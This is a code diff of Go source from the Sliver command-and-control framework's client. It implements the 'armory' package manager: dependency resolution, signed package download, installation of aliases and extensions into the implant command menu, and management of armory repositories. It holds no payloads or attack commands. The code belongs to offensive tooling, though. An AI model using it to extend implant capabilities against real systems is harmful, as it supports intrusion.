packagesWithCommand := getPackagesWithCommandName(name, armoryPK, minimumVersion)
|
||||
|
||||
if len(packagesWithCommand) > 1 {
|
||||
// Build an option map for the user to choose from (option -> pkgID)
|
||||
optionMap := make(map[string]string)
|
||||
for _, packageEntry := range packagesWithCommand {
|
||||
var optionName string
|
||||
if packageEntry.Pkg.IsAlias {
|
||||
optionName = fmt.Sprintf("Alias %s %s from armory %s (%s)",
|
||||
name,
|
||||
packageEntry.Alias.Version,
|
||||
packageEntry.ArmoryConfig.Name,
|
||||
packageEntry.Pkg.RepoURL,
|
||||
)
|
||||
} else {
|
||||
optionName = fmt.Sprintf("Extension %s %s from armory %s with command %s (%s)",
|
||||
packageEntry.Pkg.Name,
|
||||
packageEntry.Extension.Version,
|
||||
packageEntry.ArmoryConfig.Name,
|
||||
name,
|
||||
packageEntry.Pkg.RepoURL,
|
||||
)
|
||||
}
|
||||
optionMap[optionName] = packageEntry.ID
|
||||
}
|
||||
selectedPackageID := getPackageIDFromUser(name, optionMap)
|
||||
if selectedPackageID == doNotInstallPackageName {
|
||||
return nil, fmt.Errorf("user cancelled installation")
|
||||
}
|
||||
for _, packageEntry := range packagesWithCommand {
|
||||
if packageEntry.ID == selectedPackageID {
|
||||
return packageEntry, nil
|
||||
}
|
||||
}
|
||||
} else if len(packagesWithCommand) == 1 {
|
||||
return packagesWithCommand[0], nil
|
||||
}
|
||||
return nil, ErrPackageNotFound
|
||||
}
|
||||
|
||||
func buildInstallList(name, armoryPK string, forceInstallation bool, pendingPackages map[string]string) ([]string, error) {
|
||||
packageInstallList := []string{}
|
||||
installedPackages := getInstalledPackageNames()
|
||||
|
||||
/*
|
||||
Gather information about what we are working with
|
||||
|
||||
Find all conflicts within aliases for a given name (or all names), same thing with extensions
|
||||
Then if there are aliases and extensions with a given name, make sure to note that for when we ask the user what to do
|
||||
*/
|
||||
var requestedPackageList []string
|
||||
if name == "all" {
|
||||
requestedPackageList = []string{}
|
||||
allCommands := getCommandsInCache(armoryPK)
|
||||
for _, cmdName := range allCommands {
|
||||
if !slices.Contains(installedPackages, cmdName) || forceInstallation {
|
||||
// Check to see if there is a package pending with that name
|
||||
if _, ok := pendingPackages[cmdName]; !ok {
|
||||
requestedPackageList = append(requestedPackageList, cmdName)
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if !slices.Contains(installedPackages, name) || forceInstallation {
|
||||
// Check to see if there is a package pending with that name
|
||||
if _, ok := pendingPackages[name]; !ok {
|
||||
requestedPackageList = []string{name}
|
||||
}
|
||||
} else {
|
||||
return nil, ErrPackageAlreadyInstalled
|
||||
}
|
||||
}
|
||||
|
||||
for _, packageName := range requestedPackageList {
|
||||
if _, ok := pendingPackages[packageName]; ok {
|
||||
// We are already going to install a package with this name, so do not try to resolve it
|
||||
continue
|
||||
}
|
||||
packageEntry, err := getPackageForCommand(packageName, armoryPK, "")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if !slices.Contains(packageInstallList, packageEntry.ID) {
|
||||
packageInstallList = append(packageInstallList, packageEntry.ID)
|
||||
pendingPackages[packageName] = packageEntry.ID
|
||||
}
|
||||
|
||||
if !packageEntry.Pkg.IsAlias {
|
||||
dependencies := make(map[string]*pkgCacheEntry)
|
||||
err = resolveExtensionPackageDependencies(packageEntry, dependencies, pendingPackages)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for pkgName, packageEntry := range dependencies {
|
||||
if !slices.Contains(packageInstallList, packageEntry.ID) {
|
||||
packageInstallList = append(packageInstallList, packageEntry.ID)
|
||||
}
|
||||
if _, ok := pendingPackages[pkgName]; !ok {
|
||||
pendingPackages[pkgName] = packageEntry.ID
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return packageInstallList, nil
|
||||
}
|
||||
|
||||
func installPackageByName(name, armoryPK string, forceInstallation, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
pendingPackages := make(map[string]string)
|
||||
packageInstallList, err := buildInstallList(name, armoryPK, forceInstallation, pendingPackages)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(packageInstallList) == 0 && name == "all" {
|
||||
availableCommands := getCommandsInCache(armoryPK)
|
||||
if len(availableCommands) == 0 {
|
||||
con.PrintInfof("No packages or bundles found\n")
|
||||
} else {
|
||||
con.PrintInfof("All available packages are already installed\n")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if len(packageInstallList) > 0 {
|
||||
for _, packageID := range packageInstallList {
|
||||
entry := packageCacheLookupByID(packageID)
|
||||
if entry == nil {
|
||||
return errors.New("cache consistency error - please refresh the cache and try again")
|
||||
}
|
||||
if entry.Pkg.IsAlias {
|
||||
err := installAliasPackage(entry, promptToOverwrite, clientConfig, con)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to install alias '%s': %s", entry.Alias.CommandName, err)
|
||||
}
|
||||
} else {
|
||||
err := installExtensionPackage(entry, promptToOverwrite, clientConfig, con)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to install extension '%s': %s", entry.Extension.Name, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
return ErrPackageNotFound
|
||||
}
|
||||
|
||||
if name == "all" {
|
||||
con.Printf("\n")
|
||||
con.PrintSuccessf("Operation complete\n")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func armoryInstallOptions(armoryPK, armoryName string) []forms.ArmoryInstallOption {
|
||||
options := []forms.ArmoryInstallOption{}
|
||||
seen := make(map[string]bool)
|
||||
packageCount := 0
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
return true
|
||||
}
|
||||
if cacheEntry.LastErr != nil {
|
||||
return true
|
||||
}
|
||||
if armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey != armoryPK {
|
||||
return true
|
||||
}
|
||||
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
name := cacheEntry.Alias.CommandName
|
||||
if name == "" {
|
||||
return true
|
||||
}
|
||||
if seen[name] {
|
||||
return true
|
||||
}
|
||||
label := formatArmoryInstallLabel("alias", name, cacheEntry.Alias.Help)
|
||||
options = append(options, forms.ArmoryInstallOption{
|
||||
Value: name,
|
||||
Label: label,
|
||||
})
|
||||
seen[name] = true
|
||||
packageCount++
|
||||
return true
|
||||
}
|
||||
|
||||
for _, command := range cacheEntry.Extension.ExtCommand {
|
||||
name := command.CommandName
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
if seen[name] {
|
||||
continue
|
||||
}
|
||||
label := formatArmoryInstallLabel("extension", name, command.Help)
|
||||
options = append(options, forms.ArmoryInstallOption{
|
||||
Value: name,
|
||||
Label: label,
|
||||
})
|
||||
seen[name] = true
|
||||
packageCount++
|
||||
}
|
||||
|
||||
return true
|
||||
})
|
||||
|
||||
for _, bundle := range bundlesInCache() {
|
||||
if bundle.Name == "" {
|
||||
continue
|
||||
}
|
||||
if armoryName != "" && bundle.ArmoryName != armoryName {
|
||||
continue
|
||||
}
|
||||
if seen[bundle.Name] {
|
||||
continue
|
||||
}
|
||||
label := fmt.Sprintf("bundle: %s (%d packages)", bundle.Name, len(bundle.Packages))
|
||||
options = append(options, forms.ArmoryInstallOption{
|
||||
Value: bundle.Name,
|
||||
Label: label,
|
||||
})
|
||||
seen[bundle.Name] = true
|
||||
}
|
||||
|
||||
if len(options) == 0 {
|
||||
return options
|
||||
}
|
||||
|
||||
sort.Slice(options, func(i, j int) bool {
|
||||
return options[i].Label < options[j].Label
|
||||
})
|
||||
|
||||
if packageCount > 0 {
|
||||
options = append([]forms.ArmoryInstallOption{
|
||||
{
|
||||
Value: "all",
|
||||
Label: "all packages (aliases + extensions)",
|
||||
},
|
||||
}, options...)
|
||||
}
|
||||
|
||||
return options
|
||||
}
|
||||
|
||||
func formatArmoryInstallLabel(kind, name, help string) string {
|
||||
help = strings.TrimSpace(help)
|
||||
if help == "" {
|
||||
return fmt.Sprintf("%s: %s", kind, name)
|
||||
}
|
||||
help = strings.Join(strings.Fields(help), " ")
|
||||
return fmt.Sprintf("%s: %s - %s", kind, name, help)
|
||||
}
|
||||
|
||||
func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
}
|
||||
if !entry.Pkg.IsAlias {
|
||||
return errors.New("package is not an alias")
|
||||
}
|
||||
repoURL, err := url.Parse(entry.RepoURL)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -143,7 +619,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
}
|
||||
@@ -159,7 +635,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
|
||||
tmpFile, err := os.CreateTemp("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -172,82 +648,58 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear the line
|
||||
|
||||
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
|
||||
installPath := alias.InstallFromFile(tmpFile.Name(), entry.Alias.CommandName, promptToOverwrite, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install alias")
|
||||
}
|
||||
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
|
||||
|
||||
menuCmd := con.App.Menu(constants.ImplantMenu).Root()
|
||||
|
||||
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), menuCmd, con)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
deps := make(map[string]struct{})
|
||||
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
|
||||
for dep := range deps {
|
||||
if extensions.CmdExists(dep, con.App) {
|
||||
continue // Dependency is already installed
|
||||
}
|
||||
err := installExtensionPackageByName(dep, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
|
||||
|
||||
func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
func resolveExtensionPackageDependencies(pkg *pkgCacheEntry, deps map[string]*pkgCacheEntry, pendingPackages map[string]string) error {
|
||||
for _, multiExt := range pkg.Extension.ExtCommand {
|
||||
if multiExt.DependsOn == "" {
|
||||
continue // Avoid adding empty dependency
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if entry.Extension.DependsOn == "" {
|
||||
return // Avoid adding empty dependency
|
||||
if multiExt.DependsOn == pkg.Extension.Name {
|
||||
continue // Avoid infinite loop of something that depends on itself
|
||||
}
|
||||
// We also need to look out for circular dependencies, so if we've already
|
||||
// seen this dependency, we stop resolving
|
||||
if _, ok := deps[multiExt.DependsOn]; ok {
|
||||
continue // Already resolved
|
||||
}
|
||||
// Check to make sure we are not already going to install a package with this name
|
||||
if _, ok := pendingPackages[multiExt.DependsOn]; ok {
|
||||
continue
|
||||
}
|
||||
if maxDepDepth < len(deps) {
|
||||
continue
|
||||
}
|
||||
// Figure out what package we need for the dependency
|
||||
dependencyEntry, err := getPackageForCommand(multiExt.DependsOn, "", "")
|
||||
if err != nil {
|
||||
return fmt.Errorf("could not resolve dependency %s for %s: %s", multiExt.DependsOn, pkg.Extension.Name, err)
|
||||
}
|
||||
deps[multiExt.DependsOn] = dependencyEntry
|
||||
err = resolveExtensionPackageDependencies(dependencyEntry, deps, pendingPackages)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
if entry.Extension.DependsOn == name {
|
||||
return // Avoid infinite loop of something that depends on itself
|
||||
}
|
||||
// We also need to look out for circular dependencies, so if we've already
|
||||
// seen this dependency, we stop resolving
|
||||
if _, ok := deps[entry.Extension.DependsOn]; ok {
|
||||
return // Already resolved
|
||||
}
|
||||
if maxDepDepth < len(deps) {
|
||||
return
|
||||
}
|
||||
deps[entry.Extension.DependsOn] = struct{}{}
|
||||
resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
|
||||
return nil
|
||||
}
|
||||
|
||||
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
}
|
||||
@@ -261,7 +713,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
}
|
||||
@@ -277,7 +729,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
|
||||
tmpFile, err := os.CreateTemp("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -293,17 +745,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear download message
|
||||
|
||||
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install extension")
|
||||
}
|
||||
extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if extensions.CmdExists(extCmd.Name, con.App) {
|
||||
con.App.Commands().Remove(extCmd.Name)
|
||||
}
|
||||
extensions.ExtensionRegisterCommand(extCmd, con)
|
||||
extensions.InstallFromDir(tmpFile.Name(), promptToOverwrite, con, true)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,652 @@
|
||||
package armory
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func printArmories(con *console.SliverClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
tw.AppendHeader(table.Row{
|
||||
"Armory Name",
|
||||
"Authorization Required",
|
||||
"Enabled",
|
||||
"URL",
|
||||
})
|
||||
|
||||
configuredArmories := getCurrentArmoryConfiguration()
|
||||
|
||||
for _, armory := range configuredArmories {
|
||||
var authRequired string
|
||||
var enabled string
|
||||
if armory.Authorization != "" {
|
||||
authRequired = "yes"
|
||||
} else {
|
||||
authRequired = "no"
|
||||
}
|
||||
if armory.Enabled {
|
||||
enabled = "yes"
|
||||
} else {
|
||||
enabled = "no"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
armory.Name,
|
||||
authRequired,
|
||||
enabled,
|
||||
armory.RepoURL,
|
||||
})
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func generateRowsForArmory(armoryInfo *assets.ArmoryConfig) []table.Row {
|
||||
rows := make([]table.Row, 0)
|
||||
rows = append(rows, table.Row{
|
||||
"Name",
|
||||
armoryInfo.Name,
|
||||
})
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"Public Key",
|
||||
armoryInfo.PublicKey,
|
||||
})
|
||||
|
||||
enabled := "yes"
|
||||
if !armoryInfo.Enabled {
|
||||
enabled = "no"
|
||||
}
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"Enabled",
|
||||
enabled,
|
||||
})
|
||||
|
||||
authorizationRequired := "no"
|
||||
if armoryInfo.Authorization != "" {
|
||||
authorizationRequired = fmt.Sprintf("yes; current authorization: %s", armoryInfo.Authorization)
|
||||
}
|
||||
rows = append(rows, table.Row{
|
||||
"Authorization required?",
|
||||
authorizationRequired,
|
||||
})
|
||||
if authorizationRequired != "no" {
|
||||
authCmd := armoryInfo.AuthorizationCmd
|
||||
if authCmd == "" {
|
||||
authCmd = "not configured"
|
||||
}
|
||||
rows = append(rows, table.Row{
|
||||
"Authorization Command",
|
||||
authCmd,
|
||||
})
|
||||
}
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"URL",
|
||||
armoryInfo.RepoURL,
|
||||
})
|
||||
|
||||
return rows
|
||||
}
|
||||
|
||||
func generateRowsForPackage(packageInfo *pkgCacheEntry) []table.Row {
|
||||
rows := make([]table.Row, 0)
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"Name",
|
||||
packageInfo.Pkg.Name,
|
||||
})
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"Command Name",
|
||||
packageInfo.Pkg.CommandName,
|
||||
})
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"Armory Name",
|
||||
packageInfo.Pkg.ArmoryName,
|
||||
})
|
||||
|
||||
packageType := "alias"
|
||||
if !packageInfo.Pkg.IsAlias {
|
||||
packageType = "extension"
|
||||
}
|
||||
rows = append(rows, table.Row{
|
||||
"Package Type",
|
||||
packageType,
|
||||
})
|
||||
if packageType == "alias" {
|
||||
rows = append(rows, table.Row{
|
||||
"Version",
|
||||
packageInfo.Alias.Version,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Author",
|
||||
packageInfo.Alias.OriginalAuthor,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Repo URL",
|
||||
packageInfo.Alias.RepoURL,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Help",
|
||||
packageInfo.Alias.Help,
|
||||
})
|
||||
} else {
|
||||
rows = append(rows, table.Row{
|
||||
"Version",
|
||||
packageInfo.Extension.Version,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Original Author",
|
||||
packageInfo.Extension.OriginalAuthor,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Extension Author",
|
||||
packageInfo.Extension.ExtensionAuthor,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"URL",
|
||||
packageInfo.Extension.RepoURL,
|
||||
})
|
||||
extCommands := []string{}
|
||||
for _, cmd := range packageInfo.Extension.ExtCommand {
|
||||
extCommands = append(extCommands, cmd.CommandName)
|
||||
}
|
||||
rows = append(rows, table.Row{
|
||||
"Contains commands",
|
||||
strings.Join(extCommands, ", "),
|
||||
})
|
||||
rows = append(rows, table.Row{"", ""})
|
||||
rows = append(rows, table.Row{"Command Info", ""})
|
||||
for _, extCmd := range packageInfo.Extension.ExtCommand {
|
||||
rows = append(rows, table.Row{
|
||||
"Command Name",
|
||||
extCmd.CommandName,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Dependencies",
|
||||
extCmd.DependsOn,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Help",
|
||||
extCmd.Help,
|
||||
})
|
||||
rows = append(rows, table.Row{"", ""})
|
||||
}
|
||||
}
|
||||
rows = append(rows, table.Row{"", ""})
|
||||
|
||||
return rows
|
||||
}
|
||||
|
||||
func viewDetailedInformation(con *console.SliverClient, entity string) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
tw.AppendHeader(table.Row{
|
||||
"Property",
|
||||
"Value",
|
||||
})
|
||||
|
||||
// See where this name exists in the armory and package indexes
|
||||
armoryResult := armoryLookupByName(entity)
|
||||
if armoryResult != nil {
|
||||
tw.AppendRows(generateRowsForArmory(armoryResult))
|
||||
con.Printf("Armory information for %s\n\n", entity)
|
||||
con.Printf("%s\n", tw.Render())
|
||||
tw.ResetRows()
|
||||
con.Printf("\n")
|
||||
}
|
||||
|
||||
// Get packages with this name
|
||||
packageResult := packageCacheLookupByName(entity)
|
||||
if len(packageResult) > 0 {
|
||||
con.Printf("Packages named %s\n\n", entity)
|
||||
for _, pkg := range packageResult {
|
||||
tw.AppendRows(generateRowsForPackage(pkg))
|
||||
con.Printf("%s\n", tw.Render())
|
||||
tw.ResetRows()
|
||||
con.Printf("\n")
|
||||
}
|
||||
}
|
||||
|
||||
// Get extensions containing commands with this name
|
||||
commandResult := packageCacheLookupByCmd(entity)
|
||||
commandResultFiltered := make([]*pkgCacheEntry, 0)
|
||||
for _, cmd := range commandResult {
|
||||
if !cmd.Pkg.IsAlias {
|
||||
commandResultFiltered = append(commandResultFiltered, cmd)
|
||||
}
|
||||
}
|
||||
if len(commandResultFiltered) > 0 {
|
||||
con.Printf("Packages containing commands named %s\n\n", entity)
|
||||
for _, cmd := range commandResultFiltered {
|
||||
tw.AppendRows(generateRowsForPackage(cmd))
|
||||
con.Printf("%s\n", tw.Render())
|
||||
tw.ResetRows()
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func ArmoryInfoCommand(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if len(args) == 0 {
|
||||
printArmories(con)
|
||||
return
|
||||
}
|
||||
// If the user wants info on something specific, make sure the caches are up to date
|
||||
refresh(parseArmoryHTTPConfig(cmd))
|
||||
viewDetailedInformation(con, args[0])
|
||||
}
|
||||
|
||||
func verifyArmory(armoryInfo *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) error {
|
||||
wg := &sync.WaitGroup{}
|
||||
// Only making one request, so we can limit ourselves to one concurrent request
|
||||
requestChannel := make(chan struct{}, 1)
|
||||
wg.Add(1)
|
||||
requestChannel <- struct{}{}
|
||||
go fetchIndex(armoryInfo, requestChannel, clientConfig, wg)
|
||||
wg.Wait()
|
||||
|
||||
result, ok := indexCache.Load(armoryInfo.PublicKey)
|
||||
if !ok {
|
||||
return fmt.Errorf("failed to retrieve armory index")
|
||||
}
|
||||
cacheResult := result.(indexCacheEntry)
|
||||
return cacheResult.LastErr
|
||||
}
|
||||
|
||||
func getCurrentArmoryConfiguration() []*assets.ArmoryConfig {
|
||||
configs := []*assets.ArmoryConfig{}
|
||||
armoryNames := []string{}
|
||||
// If the default armory is in the configuration, force it to be last
|
||||
var defaultConfig *assets.ArmoryConfig
|
||||
|
||||
currentArmories.Range(func(key, value interface{}) bool {
|
||||
armoryEntry := value.(assets.ArmoryConfig)
|
||||
// Skip over the default armory for now
|
||||
if armoryEntry.Name != assets.DefaultArmoryName {
|
||||
configs = append(configs, &armoryEntry)
|
||||
armoryNames = append(armoryNames, armoryEntry.Name)
|
||||
} else {
|
||||
defaultConfig = &armoryEntry
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
if !armoriesInitialized {
|
||||
/*
|
||||
Armories are initialized on the first call to the armory command
|
||||
If armories are added or removed before the first call, we want
|
||||
to make sure we still load in the ones from the configuration
|
||||
file.
|
||||
*/
|
||||
persistentConfigs := assets.GetArmoriesConfig()
|
||||
for _, config := range persistentConfigs {
|
||||
if !slices.Contains(armoryNames, config.Name) {
|
||||
if config.Name == assets.DefaultArmoryName {
|
||||
if defaultArmoryRemoved {
|
||||
continue
|
||||
} else if defaultConfig != nil {
|
||||
// The user potentially changed something about the default config
|
||||
configs = append(configs, defaultConfig)
|
||||
currentArmories.Store(config.PublicKey, *defaultConfig)
|
||||
continue
|
||||
}
|
||||
}
|
||||
configs = append(configs, config)
|
||||
currentArmories.Store(config.PublicKey, *config)
|
||||
}
|
||||
}
|
||||
return configs
|
||||
}
|
||||
if !defaultArmoryRemoved {
|
||||
if defaultConfig != nil {
|
||||
configs = append(configs, defaultConfig)
|
||||
} else {
|
||||
configs = append(configs, assets.DefaultArmoryConfig)
|
||||
}
|
||||
}
|
||||
assets.RefreshArmoryAuthorization(configs)
|
||||
return configs
|
||||
}
|
||||
|
||||
func armoryNameExists(name string) bool {
|
||||
currentArmoriesConfigured := getCurrentArmoryConfiguration()
|
||||
for _, armory := range currentArmoriesConfigured {
|
||||
if armory.Name == name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func armoryKeyExists(pubKey string) bool {
|
||||
currentArmoriesConfigured := getCurrentArmoryConfiguration()
|
||||
for _, armory := range currentArmoriesConfigured {
|
||||
if armory.PublicKey == pubKey {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func AddArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
// Get necessary information
|
||||
url, _ := cmd.Flags().GetString("url")
|
||||
pubKey, _ := cmd.Flags().GetString("pubkey")
|
||||
auth, _ := cmd.Flags().GetString("auth")
|
||||
authCmd, _ := cmd.Flags().GetString("authcmd")
|
||||
noSave, _ := cmd.Flags().GetBool("no-save")
|
||||
|
||||
name := args[0]
|
||||
|
||||
if name == "" {
|
||||
con.PrintErrorf("an armory name is required\n")
|
||||
return
|
||||
}
|
||||
// Make sure we do not already have an armory config with the supplied name
|
||||
if armoryNameExists(name) {
|
||||
con.PrintErrorf("armory %s already exists\n", name)
|
||||
return
|
||||
}
|
||||
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
armoryConfig := assets.ArmoryConfig{
|
||||
PublicKey: pubKey,
|
||||
RepoURL: url,
|
||||
Authorization: auth,
|
||||
AuthorizationCmd: authCmd,
|
||||
Name: name,
|
||||
Enabled: true,
|
||||
}
|
||||
|
||||
// verifyArmory will add the armory index to the cache on success, so we do not have to force a refresh
|
||||
err := verifyArmory(&armoryConfig, clientConfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not add armory: %s\n", err)
|
||||
return
|
||||
}
|
||||
currentArmories.Store(armoryConfig.PublicKey, armoryConfig)
|
||||
if !noSave {
|
||||
configs := getCurrentArmoryConfiguration()
|
||||
err = assets.SaveArmoriesConfig(configs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not save armory configuration: %s\n", err)
|
||||
} else {
|
||||
con.PrintSuccessf("Armory configuration saved\n")
|
||||
}
|
||||
}
|
||||
con.PrintSuccessf("Added armory %s\n", name)
|
||||
}
|
||||
|
||||
// Get a list of package IDs for an armory by its public key
|
||||
func getPackageIDsForArmory(armoryPublicKey string) []string {
|
||||
packageIDs := []string{}
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
pkgEntry := value.(pkgCacheEntry)
|
||||
if pkgEntry.ArmoryConfig.PublicKey == armoryPublicKey {
|
||||
packageIDs = append(packageIDs, pkgEntry.ID)
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return packageIDs
|
||||
}
|
||||
|
||||
func RemoveArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
name := args[0]
|
||||
|
||||
if name == "" {
|
||||
con.PrintErrorf("an armory name is required\n")
|
||||
return
|
||||
}
|
||||
|
||||
armories := getCurrentArmoryConfiguration()
|
||||
deleted := false
|
||||
newConfiguration := []*assets.ArmoryConfig{}
|
||||
for _, armory := range armories {
|
||||
if armory.Name != name {
|
||||
newConfiguration = append(newConfiguration, armory)
|
||||
} else {
|
||||
currentArmories.Delete(armory.PublicKey)
|
||||
indexCache.Delete(armory.PublicKey)
|
||||
/*
|
||||
To delete from the package cache, we will have
|
||||
to gather a list of package IDs for the
|
||||
armory then delete them from the cache.
|
||||
*/
|
||||
armoryPackageIDs := getPackageIDsForArmory(armory.PublicKey)
|
||||
for _, id := range armoryPackageIDs {
|
||||
pkgCache.Delete(id)
|
